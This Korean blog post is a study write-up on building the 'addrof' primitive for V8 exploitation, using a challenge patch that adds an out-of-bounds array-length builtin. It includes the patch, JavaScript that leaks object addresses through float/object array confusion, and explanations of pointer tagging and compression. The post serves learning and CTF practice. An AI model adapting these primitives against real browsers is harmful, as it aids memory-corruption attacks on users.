원래도 알던 개념들이지만 그냥 문제도 풀겸 자세하게 설명해주는 건 본 적이 없던 거 같아서 V8 exploit에 자주 사용하는 primitive들에 대해서 써볼까한다.
(아마 심심할때마다 할듯)
먼저 addr of인데
해당 문제에선 OOB가 주어져 있는 문제여서 해당 환경을 기준으로 작성했다.
우선 이걸하면서 생겼던 의문인데

먼저 빨간색이 기존의 arr 객체의 헤더라면 노랑색 부분은 elements field 이다. 그런데 OOB 떄문에 객체를 덮은 상태이다.
그렇다면 기존엔 만약 이상태에서 길이를 늘리거나 하면 어떻게 될까 그런 고민이였는데 답은 간단하게 평소라면 OOB가 없으면 해당 field를 덮을 일이 없다. 이 객체가 기존에 length가 1이였기 때문에 메모리 모양이 이렇게 생겼었다 라고 생각하면 될거 같다.
이제 시작해보면

oob(proto)를 통해 b 객체의 길이를 늘려줄 수 있는 걸 확인할 수 있다.
(참고 : 증명 단계에서 프로세스를 다시 실행하는 경우가 많았어서 함수 주소 값 자체가 일정하진 않음)
addrof
주로 V8 expoit에선 인자로 넣는 객체의 주소를 알아내기 위한 함수이다.
V8의 경우 객체의 주소를 얻기가 쉽지 않기 때문에 이런식으로 primitive를 구현하여 사용한다.
아래는 해당 문제에서 OOB를 제공해주기 위한 코드이다.
patch
+transitioning javascript builtin ArrayPrototypeOob(js-implicit context: NativeContext, receiver: JSAny)(length: JSAny): JSAny {
+
+ try {
+ const array: JSArray = Cast<JSArray>(receiver) otherwise Bad;
+ array.length = Cast<Smi>(length) otherwise Bad;
+ } label Bad {
+
+ }
+ return receiver;
+}
Builtin
+transitioning javascript builtin ArrayPrototypeOob(js-implicit context: NativeContext, receiver: JSAny)(length: JSAny): JSAny
receiver는 어떤 JS 값이든 (JSAny) 받을 수 있고 JS에서 Array.prototype.oob.call(xxx, len)식으로 호출 가능하다.
length 인자도 JSAny이다.
본문
try {
const array: JSArray = Cast<JSArray>(receiver) otherwise Bad;
array.length = Cast<Smi>(length) otherwise Bad;
} label Bad {
}
return receiver;
receiver를 JSArray로 캐스팅을 시도하는데 이때 만약 진짜 JSArray가 아니라면 Bad 라벨로 점프를 한다.
length 인자를 Smi로 캐스팅을 시도한다.
만약 성공하면 array.length = (그 smi)로 길이를 강제로 덮어쓴다.
실패하면 Bad로 점프한다.
즉 두가지 조건으로 동작하는데
1.receiver는 무조건 진짜 배열(JSArray)여야 함. (아니면 버림)
2.length는 Smi로 표현 가능한 정수여야 함.
참조한 블로그 상의 사진은

이러한 구조였다.
소스코드는 아래와 같다.
var fl_arr = [1.1];
var temp_obj = {"A":1};
var obj_arr = [temp_obj];
fl_arr.oob(100);
let test_obj = {"A":2};
obj_arr[0] = test_obj;
%DebugPrint(obj_arr);
%DebugPrint(fl_arr);
%SystemBreak();
해당 부분의 텍스트는
메모리 레이아웃을 보면 fl_arr[9]의 포인터가 test_obj에 위치했음을 알 수 있습니다. 따라서 다음과 같은 addrof 함수를 만들 수 있습니다.
라고 되어 있는데
처음 하는 사람들도 알기 쉽도록 조금 상세하게 써봤다.

obj_arr[0] = test_obj;
해당 사진은 obj_aar의 elements field 부분인데 해당 구조가 map , length , 0번인덱스 순이므로 0번 인덱스 값이
45a01인걸 알 수 있다. 즉 test_obj 실제 값은 포인터 태깅 때문에 45a00이다.

let test_obj = {"A":2};
이 부분은 test_obj의 debugprint 부분인데 주소값을 보면 45a00이므로 위에서 봤었던 obj_arr[0]의 값과 일치하는 걸 알 수 있다.

그래서 아까 말했던 텍스트를 다시 보면fl_arr의[9] 값을 인덱싱하면 test_obj 포인터를 덮을 수 있다. 라고 이야길르 했었는데
아래쪽의 빨간 박스 부분을 보면 똑같이 45a01 값인걸 알 수 있다. 즉 이걸 이용해서 addrof를 구현하는데 사용한 것이다.
var fl_arr = [1.1];
var temp_obj = {"A":1};
var obj_arr = [temp_obj];
fl_arr.oob(100);
function addrof(obj) {
obj_arr[0] = obj;
let addr = ftoi(fl_arr[9]) >> 32n;
obj_arr[0] = temp_obj;
return addr;
}
그래서 만들어진 addr_of primitive는 위와 같은데
즉 이전에 봤었던 test_obj 값처럼 obj_arr[0]에 우리가 주소를 알고 싶은 obj를 넣어주면 obj의 주소를 반환해준다고 생각하면 된다.
let addr = ftoi(fl_arr[9]) >> 32n;
부분에서 obj_arr[0]에 넣었던 obj의 상위 32비트 값만 남게 되는데 그럼 이값은 return을 해주고 해당 부분에 있던 obj의 경우 주소가 아예 망가졌으니까 다시 temp_obj의 값으로 새로 넣어준다.
여기서 반환되는 값은 해당 주소의 값이다.
이런식으로 동작되는 이유도 설명해보면 보통 ftoi는 이런식으로 구현된다.
// float → int
function ftoi(val) {
f64_buf[0] = val;
return u64_buf[0];
}
이때 값을 8바이트로 들고 오기 때문에

메모리에선 이런식으로 값을 들고오게 된다.
그럼 ftoi에서 반환되는 값은
0x4655900000002
값인데
우리가 아까 봤던
let addr = ftoi(fl_arr[9]) >> 32n;
를 해주게 된다면
0x46559
값만 남게 되고 해당 값은

내가 넣었던 객체의 주소와 같은 걸 확인할 수 있다.
(참고로 V8 에서는 pointer compression 때문에 뒤의 값만의로도 객체에 접근할 수 있다 예를 들어 위에 45a00 처럼
그리고 추가로 앞부분은 heap_base , ubercage_base 등등 부르는 건 다양한데 쉽게 이야기하면 ASLR처럼 랜덤 값이라고 생각하면 편할 것 같다 그래서 실행마다 값이 달라지게 된다.)
'V8' 카테고리의 다른 글
| CVE-2021-21220 - 1 (0) | 2025.10.21 |
|---|---|
| await (0) | 2025.10.21 |
| V8 실행옵션 (0) | 2025.10.09 |
| SSA (0) | 2025.06.30 |
| v8 (WHS 프로젝트) (0) | 2025.03.08 |